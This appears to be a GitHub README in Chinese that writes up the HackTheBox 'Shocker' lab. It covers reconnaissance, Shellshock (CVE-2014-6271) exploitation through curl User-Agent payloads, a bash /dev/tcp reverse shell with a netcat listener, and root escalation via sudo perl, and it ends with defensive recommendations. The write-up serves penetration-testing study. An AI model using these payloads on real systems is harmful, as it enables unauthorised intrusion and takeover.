R3fr4kt/Shocker-TJNULL-OSCP-
GitHub: R3fr4kt/Shocker-TJNULL-OSCP-
Shellshock漏洞利用自动化脚本。
Stars: 0 | Forks: 0
# HackTheBox: Shocker 漏洞分析
一个结构化和专业的分析过程,展示了识别和手动利用关键的 **Shellshock** 漏洞,随后通过 Linux 目标上配置错误的 `sudo` 权限进行本地权限提升。
## 技术概述
* **目标操作系统:** Linux
* **IP 地址:** `10.10.10.56`
* **难度:** 简单
* **核心漏洞:** Shellshock (CVE-2014-6271) & 配置错误的 Sudo 权限 (`/usr/bin/perl`)
* **目标:** 通过 CGI 环境变量注入获取初始用户访问权限,并提升至 root 权限。
## 1. 信息收集与侦察
评估从对仅开放端口的快速全端口 TCP SYN 扫描开始,仅针对开放端口 (`--open`),跳过主机发现 (`-Pn`) 和 DNS 解析 (`-n`) 以加速足迹扫描。
```
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
```
### 目标服务与漏洞分析
初步扫描发现两个活跃服务。我们进行二次针对性扫描以执行激进的版本检测 (`-sCV`) 和基于脚本的漏洞评估:
```
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
```
### 扫描结果
* **端口 80:** HTTP (Apache Web 服务器)
* **端口 2222:** SSH (非标准端口)
## 2. 目录模糊测试与 Web 信息收集
在漏洞扫描的同时,我们使用 `gobuster` 启动 Web 目录暴力破解,以绘制 Apache 服务器上的隐藏资源。我们利用 SecLists 框架的标准词表:
```
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
```
### 关键发现
模糊测试过程识别出一个未索引的 **`/cgi-bin/`** 目录。在旧版 Web 部署中,Apache 服务器使用通用网关接口 (CGI) 来执行服务器端脚本。鉴于机器名称和该文件夹的存在,我们积极寻找可能受到环境变量注入漏洞影响的可执行脚本(例如,`.sh`、`.cgi`)。
进一步的信息收集揭示了一个名为 `user.sh` 的脚本位于 `/cgi-bin/` 目录中。
## 3. 武器化与初始立足点
### 测试 Shellshock (PoC)
**Shellshock (CVE-2014-6271)** 漏洞允许攻击者通过在处理易受攻击的 Bash 实例的 HTTP 请求头(如 `User-Agent`)中注入恶意函数定义来执行任意操作系统命令。
我们构建一个定制的 `curl` 命令,发送一个用于强制远程系统执行 `/usr/bin/id` 命令的 PoC 有效载荷:
```
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
```
* **结果:** 服务器响应 `id` 命令的输出,验证了 **类似认证的未认证远程代码执行 (RCE)**。
### 建立反向 Shell
为了将我们的执行向量升级为交互式会话,我们在攻击平台上建立了一个本地的 Netcat 监听器:
```
nc -lvnp 4444
```
接下来,我们在恶意的 `User-Agent` 头部注入一个本地的 Bash 反向 Shell 字符串,强制通过 TCP 进行回调:
```
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp//4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
```
执行成功后,我们收到了一个稳定的低权限 Shell:
```
$ whoami
shelly
```
## 4. 本地权限提升 (LPE)
在系统上获得功能性的用户上下文后,我们审计了我们的本地限制。我们查询 `sudo` 配置以确定 `shelly` 用户是否有权在不提供密码的情况下执行具有提升权限的命令:
```
sudo -l
```
### Sudo 配置审计
输出显示以下高风险条目:
```
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
```
### 通过 GTFOBins 利用 Perl
因为我们有权无限制、未经认证地以 `root` 身份执行 **`perl`** 二进制文件,我们可以轻松突破二进制限制。通过 GTFOBins 进行交叉引用,我们找到一个执行包装器,指示 Perl 进入一个本地的系统 Shell (`/bin/sh`),同时保留执行身份上下文(`root`):
```
sudo -u root perl -e 'exec "/bin/sh"'
```
我们立即获得了完整的行政执行上下文:
```
# whoami
root
```
## 5. 后渗透与掠夺
现在我们已经建立了 root 访问权限,我们导航到相关的主目录以检索入侵证据。
```
# 访问用户标志
cat /home/shelly/user.txt
# 访问root标志
cat /root/root.txt
```
## 关键要点与防御建议
1. **修补固有漏洞的软件:** Shellshock 是 GNU Bash 中的一个旧版、灾难性的漏洞。确保所有服务器组件都收到对基础工具的主动安全补丁。
2. **保护 CGI 环境:** 如果必须保留 CGI 脚本,确保它们在隔离、沙盒化的执行模型下运行(例如,使用专门的容器运行时或 chroot 环境),并避免使用过时、易受攻击的默认 Shell。
3. **强制执行严格的最低权限原则:** 通过 `sudo` 授予标准用户无限制访问强大的内置解释器(如 `perl`、`python` 或 `bash`)会引入即时提升向量。Sudo 访问应限于非交互式、高度控制的行政脚本。
```
```
标签:CTI, 应用安全